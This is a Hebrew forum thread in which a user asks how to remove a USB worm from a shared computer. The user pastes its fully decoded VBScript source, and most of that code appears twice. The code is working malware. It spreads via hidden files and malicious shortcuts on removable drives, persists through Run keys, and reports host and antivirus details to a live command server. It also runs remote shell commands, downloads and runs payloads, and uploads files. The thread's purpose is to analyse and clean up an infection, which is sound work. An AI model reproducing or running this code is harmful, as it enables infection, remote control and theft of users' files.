                        
                        upstart
                        for each drive in filesystemobj.drives
                        
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                            if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                            end if
                            for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                if not lnkfile then exit for
                                if  instr (file.name,".") then
                                    if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                        file.attributes = 2+4
                                        if  ucase (file.name) <> ucase (installname) then
                                            filename = split(file.name,".")
                                            set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                            lnkobj.windowstyle = 7
                                            lnkobj.targetpath = "cmd.exe"
                                            lnkobj.workingdirectory = ""
                                            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                            fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                            if  instr (fileicon,",") = 0 then
                                                lnkobj.iconlocation = file.path
                                            else 
                                                lnkobj.iconlocation = fileicon
                                            end if
                                            lnkobj.save()
                                        end if
                                    end if
                                end if
                            next
                            for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                if not lnkfolder then exit for
                                folder.attributes = 2+4
                                foldername = folder.name
                                set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                lnkobj.windowstyle = 7
                                lnkobj.targetpath = "cmd.exe"
                                lnkobj.workingdirectory = ""
                                lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                if  instr (foldericon,",") = 0 then
                                    lnkobj.iconlocation = folder.path
                                else 
                                    lnkobj.iconlocation = foldericon
                                end if
                                lnkobj.save()
                            next
                        end If
                        end If
                        end if
                        next
                        err.clear
                        end sub
                        
                        sub uninstall
                        on error resume next
                        dim filename
                        dim foldername
                        
                        shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                        filesystemobj.deletefile startup & installname ,true
                        filesystemobj.deletefile wscript.scriptfullname ,true
                        
                        for  each drive in filesystemobj.drives
                        if  drive.isready = true then
                        if  drive.freespace  > 0 then
                        if  drive.drivetype  = 1 then
                            for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                 on error resume next
                                 if  instr (file.name,".") then
                                     if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                         file.attributes = 0
                                         if  ucase (file.name) <> ucase (installname) then
                                             filename = split(file.name,".")
                                             filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                         else
                                             filesystemobj.deletefile (drive.path & "\" & file.name)
                                         end If
                                     else
                                         filesystemobj.deletefile (file.path) 
                                     end if
                                 end if
                             next
                             for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                 folder.attributes = 0
                             next
                        end if
                        end if
                        end if
                        next
                        wscript.quit
                        end sub
                        
                        function post (cmd ,param)
                        
                        post = param
                        httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                        httpobj.setrequestheader "user-agent:",information
                        httpobj.send param
                        post = httpobj.responsetext
                        end function
                        
                        function information
                        on error resume next
                        if  inf = "" then
                            inf = hwid & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                            inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                        
                            set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                            set os = root.execquery ("select * from win32_operatingsystem")
                            for each osinfo in os
                               inf = inf & osinfo.caption & spliter  
                               exit for
                            next
                            inf = inf & "plus" & spliter
                            inf = inf & security & spliter
                            inf = inf & usbspreading
                            information = inf  
                        else
                            information = inf
                        end if
                        end function
                        
                        sub upstart ()
                        on error resume Next
                        
                        shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                        filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                        filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                        
                        end sub
                        
                        function hwid
                        on error resume next
                        
                        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set disks = root.execquery ("select * from win32_logicaldisk")
                        for each disk in disks
                            if  disk.volumeserialnumber <> "" then
                                hwid = disk.volumeserialnumber
                                exit for
                            end if
                        next
                        end function
                        
                        function security 
                        on error resume next
                        
                        security = ""
                        
                        set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                        for each objitem in colitems
                            versionstr = split (objitem.version,".")
                        next
                        versionstr = split (colitems.version,".")
                        osversion = versionstr (0) & "."
                        for  x = 1 to ubound (versionstr)
                             osversion = osversion &  versionstr (i)
                        next
                        osversion = eval (osversion)
                        if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                        
                        set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                        Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                        
                        for each objantivirus in colantivirus
                            security  = security  & objantivirus.displayname & " ."
                        next
                        if security  = "" then security  = "nan-av"
                        end function
                        
                        function instance
                        on error resume next
                        
                        usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                        if usbspreading = "" then
                           if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                              usbspreading = "true - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                           else
                              usbspreading = "false - " & date
                              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                        
                           end if
                        end If
                        
                        
                        upstart
                        set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                        set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                        if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                            wscript.quit 
                        end If
                        err.clear
                        set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                        if  err.number > 0 then wscript.quit
                        end function
                        
                        sub sitedownloader (fileurl,filename)
                        
                        strlink = fileurl
                        strsaveto = installdir & filename
                        set objhttpdownload = createobject("msxml2.xmlhttp" )
                        objhttpdownload.open "get", strlink, false
                        objhttpdownload.send
                        
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                         
                        if objhttpdownload.status = 200 then
                           dim  objstreamdownload
                           set  objstreamdownload = createobject("adodb.stream")
                           with objstreamdownload
                                .type = 1 
                                .open
                                .write objhttpdownload.responsebody
                                .savetofile strsaveto
                                .close
                           end with
                           set objstreamdownload = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        sub download (fileurl,filedir)
                        
                        if filedir = "" then 
                           filedir = installdir
                        end if
                        
                        strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                        set objhttpdownload = createobject("msxml2.xmlhttp")
                        objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                        objhttpdownload.send ""
                             
                        set objfsodownload = createobject ("scripting.filesystemobject")
                        if  objfsodownload.fileexists (strsaveto) then
                            objfsodownload.deletefile (strsaveto)
                        end if
                        if  objhttpdownload.status = 200 then
                            dim  objstreamdownload
                            set  objstreamdownload = createobject("adodb.stream")
                            with objstreamdownload 
                                 .type = 1 
                                 .open
                                 .write objhttpdownload.responsebody
                                 .savetofile strsaveto
                                 .close
                            end with
                            set objstreamdownload  = nothing
                        end if
                        if objfsodownload.fileexists(strsaveto) then
                           shellobj.run objfsodownload.getfile (strsaveto).shortpath
                        end if 
                        end sub
                        
                        function upload (fileurl)
                        
                        dim  httpobj,objstreamuploade,buffer
                        set  objstreamuploade = createobject("adodb.stream")
                        with objstreamuploade 
                             .type = 1 
                             .open
                             .loadfromfile fileurl
                             buffer = .read
                             .close
                        end with
                        set objstreamdownload = nothing
                        set httpobj = createobject("msxml2.xmlhttp")
                        httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                        httpobj.send buffer
                        end function
                        
                        function enumdriver ()
                        
                        for  each drive in filesystemobj.drives
                        if   drive.isready = true then
                             enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                        end if
                        next
                        end Function
                        
                        function enumfaf (enumdir)
                        
                        enumfaf = enumdir & spliter
                        for  each folder in filesystemobj.getfolder (enumdir).subfolders
                             enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                        next
                        
                        for  each file in filesystemobj.getfolder (enumdir).files
                             enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                        
                        next
                        end function
                        
                        function enumprocess ()
                        
                        on error resume next
                        
                        set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                        set colitems = objwmiservice.execquery("select * from win32_process",,48)
                        
                        dim objitem
                        for each objitem in colitems
                            enumprocess = enumprocess & objitem.name & "|"
                            enumprocess = enumprocess & objitem.processid & "|"
                            enumprocess = enumprocess & objitem.executablepath & spliter
                        next
                        end function
                        
                        sub exitprocess (pid)
                        on error resume next
                        
                        shellobj.run "taskkill /F /T /PID " & pid,7,true
                        end sub
                        
                        sub deletefaf (url)
                        on error resume next
                        
                        filesystemobj.deletefile url
                        filesystemobj.deletefolder url
                        
                        end sub
                        
                        function cmdshell (cmd)
                        
                        dim httpobj,oexec,readallfromany
                        
                        set oexec = shellobj.exec ("%comspec% /c " & cmd)
                        if not oexec.stdout.atendofstream then
                           readallfromany = oexec.stdout.readall
                        elseif not oexec.stderr.atendofstream then
                           readallfromany = oexec.stderr.readall
                        else 
                           readallfromany = ""
                        end if
                        
                        cmdshell = readallfromany
                        end function
                        
                        א מנותק
                        א מנותק
                        אחרית לעמך
                        כתב נערך לאחרונה על ידי
                        #45

                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                        בחדר מחשבים שעל ידי ביתי

                        אולי תכתוב איזה חדר זה כדי להציל את הציבור (אם לא מיגרת את הוירוס שם)

                        תגובה 1 תגובה אחרונה
                        0
                        • ר רנדומלי

                          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                          cmd /c hrxxryydxo.vbs && start explorer [file name]
                          

                          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                          

                          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                          לאחר פיענוח הקידוד התקבל הקוד הבא:
                          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                          e
                          '<[ recoder : houdini (c) skype : houdini-fx ]>
                          
                          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          host = "khattab.no-ip.biz"
                          port = 5550
                          installdir = "%temp%"
                          lnkfile = true
                          lnkfolder = true
                          
                          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                          
                          dim shellobj 
                          set shellobj = wscript.createobject("wscript.shell")
                          dim filesystemobj
                          set filesystemobj = createobject("scripting.filesystemobject")
                          dim httpobj
                          set httpobj = createobject("msxml2.xmlhttp")
                          
                          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                          
                          installname = wscript.scriptname
                          startup = shellobj.specialfolders ("startup") & "\"
                          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                          spliter = "<" & "|" & ">"
                          sleep = 5000 
                          dim response
                          dim cmd
                          dim param
                          info = ""
                          usbspreading = ""
                          startdate = ""
                          dim oneonce
                          
                          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                          on error resume next
                          
                          instance
                          while true
                          
                          install
                          
                          response = ""
                          response = post ("is-ready","")
                          cmd = split (response,spliter)
                          select case cmd (0)
                          case "excecute"
                                param = cmd (1)
                                execute param
                          case "update"
                                param = cmd (1)
                                oneonce.close
                                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                oneonce.write param
                                oneonce.close
                                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                wscript.quit 
                          case "uninstall"
                                uninstall
                          case "send"
                                download cmd (1),cmd (2)
                          case "site-send"
                                sitedownloader cmd (1),cmd (2)
                          case "recv"
                                param = cmd (1)
                                upload (param)
                          case  "enum-driver"
                                post "is-enum-driver",enumdriver  
                          case  "enum-faf"
                                param = cmd (1)
                                post "is-enum-faf",enumfaf (param)
                          case  "enum-process"
                                post "is-enum-process",enumprocess   
                          case  "cmd-shell"
                                param = cmd (1)
                                post "is-cmd-shell",cmdshell (param)  
                          case  "delete"
                                param = cmd (1)
                                deletefaf (param) 
                          case  "exit-process"
                                param = cmd (1)
                                exitprocess (param) 
                          case  "sleep"
                                param = cmd (1)
                                sleep = eval (param)        
                          end select
                          
                          wscript.sleep sleep
                          
                          wend
                          
                          sub install
                          on error resume next
                          dim lnkobj
                          dim filename
                          dim foldername
                          dim fileicon
                          dim foldericon
                          
                          upstart
                          for each drive in filesystemobj.drives
                          
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                              end if
                              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                  if not lnkfile then exit for
                                  if  instr (file.name,".") then
                                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                          file.attributes = 2+4
                                          if  ucase (file.name) <> ucase (installname) then
                                              filename = split(file.name,".")
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                              if  instr (fileicon,",") = 0 then
                                                  lnkobj.iconlocation = file.path
                                              else 
                                                  lnkobj.iconlocation = fileicon
                                              end if
                                              lnkobj.save()
                                          end if
                                      end if
                                  end if
                              next
                              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                  if not lnkfolder then exit for
                                  folder.attributes = 2+4
                                  foldername = folder.name
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                  if  instr (foldericon,",") = 0 then
                                      lnkobj.iconlocation = folder.path
                                  else 
                                      lnkobj.iconlocation = foldericon
                                  end if
                                  lnkobj.save()
                              next
                          end If
                          end If
                          end if
                          next
                          err.clear
                          end sub
                          
                          sub uninstall
                          on error resume next
                          dim filename
                          dim foldername
                          
                          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                          filesystemobj.deletefile startup & installname ,true
                          filesystemobj.deletefile wscript.scriptfullname ,true
                          
                          for  each drive in filesystemobj.drives
                          if  drive.isready = true then
                          if  drive.freespace  > 0 then
                          if  drive.drivetype  = 1 then
                              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                   on error resume next
                                   if  instr (file.name,".") then
                                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                           file.attributes = 0
                                           if  ucase (file.name) <> ucase (installname) then
                                               filename = split(file.name,".")
                                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                           else
                                               filesystemobj.deletefile (drive.path & "\" & file.name)
                                           end If
                                       else
                                           filesystemobj.deletefile (file.path) 
                                       end if
                                   end if
                               next
                               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                   folder.attributes = 0
                               next
                          end if
                          end if
                          end if
                          next
                          wscript.quit
                          end sub
                          
                          function post (cmd ,param)
                          
                          post = param
                          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                          httpobj.setrequestheader "user-agent:",information
                          httpobj.send param
                          post = httpobj.responsetext
                          end function
                          
                          function information
                          on error resume next
                          if  inf = "" then
                              inf = hwid & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                          
                              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                              set os = root.execquery ("select * from win32_operatingsystem")
                              for each osinfo in os
                                 inf = inf & osinfo.caption & spliter  
                                 exit for
                              next
                              inf = inf & "plus" & spliter
                              inf = inf & security & spliter
                              inf = inf & usbspreading
                              information = inf  
                          else
                              information = inf
                          end if
                          end function
                          
                          sub upstart ()
                          on error resume Next
                          
                          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                          
                          end sub
                          
                          function hwid
                          on error resume next
                          
                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set disks = root.execquery ("select * from win32_logicaldisk")
                          for each disk in disks
                              if  disk.volumeserialnumber <> "" then
                                  hwid = disk.volumeserialnumber
                                  exit for
                              end if
                          next
                          end function
                          
                          function security 
                          on error resume next
                          
                          security = ""
                          
                          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                          for each objitem in colitems
                              versionstr = split (objitem.version,".")
                          next
                          versionstr = split (colitems.version,".")
                          osversion = versionstr (0) & "."
                          for  x = 1 to ubound (versionstr)
                               osversion = osversion &  versionstr (i)
                          next
                          osversion = eval (osversion)
                          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                          
                          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                          
                          for each objantivirus in colantivirus
                              security  = security  & objantivirus.displayname & " ."
                          next
                          if security  = "" then security  = "nan-av"
                          end function
                          
                          function instance
                          on error resume next
                          
                          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                          if usbspreading = "" then
                             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                usbspreading = "true - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                             else
                                usbspreading = "false - " & date
                                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                          
                             end if
                          end If
                          
                          
                          upstart
                          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                              wscript.quit 
                          end If
                          err.clear
                          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                          if  err.number > 0 then wscript.quit
                          end function
                          
                          sub sitedownloader (fileurl,filename)
                          
                          strlink = fileurl
                          strsaveto = installdir & filename
                          set objhttpdownload = createobject("msxml2.xmlhttp" )
                          objhttpdownload.open "get", strlink, false
                          objhttpdownload.send
                          
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                           
                          if objhttpdownload.status = 200 then
                             dim  objstreamdownload
                             set  objstreamdownload = createobject("adodb.stream")
                             with objstreamdownload
                                  .type = 1 
                                  .open
                                  .write objhttpdownload.responsebody
                                  .savetofile strsaveto
                                  .close
                             end with
                             set objstreamdownload = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          sub download (fileurl,filedir)
                          
                          if filedir = "" then 
                             filedir = installdir
                          end if
                          
                          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                          set objhttpdownload = createobject("msxml2.xmlhttp")
                          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                          objhttpdownload.send ""
                               
                          set objfsodownload = createobject ("scripting.filesystemobject")
                          if  objfsodownload.fileexists (strsaveto) then
                              objfsodownload.deletefile (strsaveto)
                          end if
                          if  objhttpdownload.status = 200 then
                              dim  objstreamdownload
                              set  objstreamdownload = createobject("adodb.stream")
                              with objstreamdownload 
                                   .type = 1 
                                   .open
                                   .write objhttpdownload.responsebody
                                   .savetofile strsaveto
                                   .close
                              end with
                              set objstreamdownload  = nothing
                          end if
                          if objfsodownload.fileexists(strsaveto) then
                             shellobj.run objfsodownload.getfile (strsaveto).shortpath
                          end if 
                          end sub
                          
                          function upload (fileurl)
                          
                          dim  httpobj,objstreamuploade,buffer
                          set  objstreamuploade = createobject("adodb.stream")
                          with objstreamuploade 
                               .type = 1 
                               .open
                               .loadfromfile fileurl
                               buffer = .read
                               .close
                          end with
                          set objstreamdownload = nothing
                          set httpobj = createobject("msxml2.xmlhttp")
                          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                          httpobj.send buffer
                          end function
                          
                          function enumdriver ()
                          
                          for  each drive in filesystemobj.drives
                          if   drive.isready = true then
                               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                          end if
                          next
                          end Function
                          
                          function enumfaf (enumdir)
                          
                          enumfaf = enumdir & spliter
                          for  each folder in filesystemobj.getfolder (enumdir).subfolders
                               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                          next
                          
                          for  each file in filesystemobj.getfolder (enumdir).files
                               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                          
                          next
                          end function
                          
                          function enumprocess ()
                          
                          on error resume next
                          
                          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                          set colitems = objwmiservice.execquery("select * from win32_process",,48)
                          
                          dim objitem
                          for each objitem in colitems
                              enumprocess = enumprocess & objitem.name & "|"
                              enumprocess = enumprocess & objitem.processid & "|"
                              enumprocess = enumprocess & objitem.executablepath & spliter
                          next
                          end function
                          
                          sub exitprocess (pid)
                          on error resume next
                          
                          shellobj.run "taskkill /F /T /PID " & pid,7,true
                          end sub
                          
                          sub deletefaf (url)
                          on error resume next
                          
                          filesystemobj.deletefile url
                          filesystemobj.deletefolder url
                          
                          end sub
                          
                          function cmdshell (cmd)
                          
                          dim httpobj,oexec,readallfromany
                          
                          set oexec = shellobj.exec ("%comspec% /c " & cmd)
                          if not oexec.stdout.atendofstream then
                             readallfromany = oexec.stdout.readall
                          elseif not oexec.stderr.atendofstream then
                             readallfromany = oexec.stderr.readall
                          else 
                             readallfromany = ""
                          end if
                          
                          cmdshell = readallfromany
                          end function
                          
                          DANI123D מחובר
                          DANI123D מחובר
                          DANI123
                          כתב נערך לאחרונה על ידי
                          #46

                          @רנדומלי בדרך כלל בחדרי מחשבים (אם לא בכולם)
                          יש תוכנות שמקפיאות את הדיסק קשיח ככה שבהפעלה מחדש הכל מתאפס
                          אז מעניין איך הוא חדר..

                          תגובה 1 תגובה אחרונה
                          0

                          • התחברות

                          • אין לך חשבון עדיין? הרשמה

                          • התחברו או הירשמו כדי לחפש.
                          • פוסט ראשון
                            פוסט אחרון
                          0
                          • חוקי הפורום
                          • פופולרי
                          • לא נפתר
                          • משתמשים
                          • חיפוש גוגל בפורום
                          • צור קשר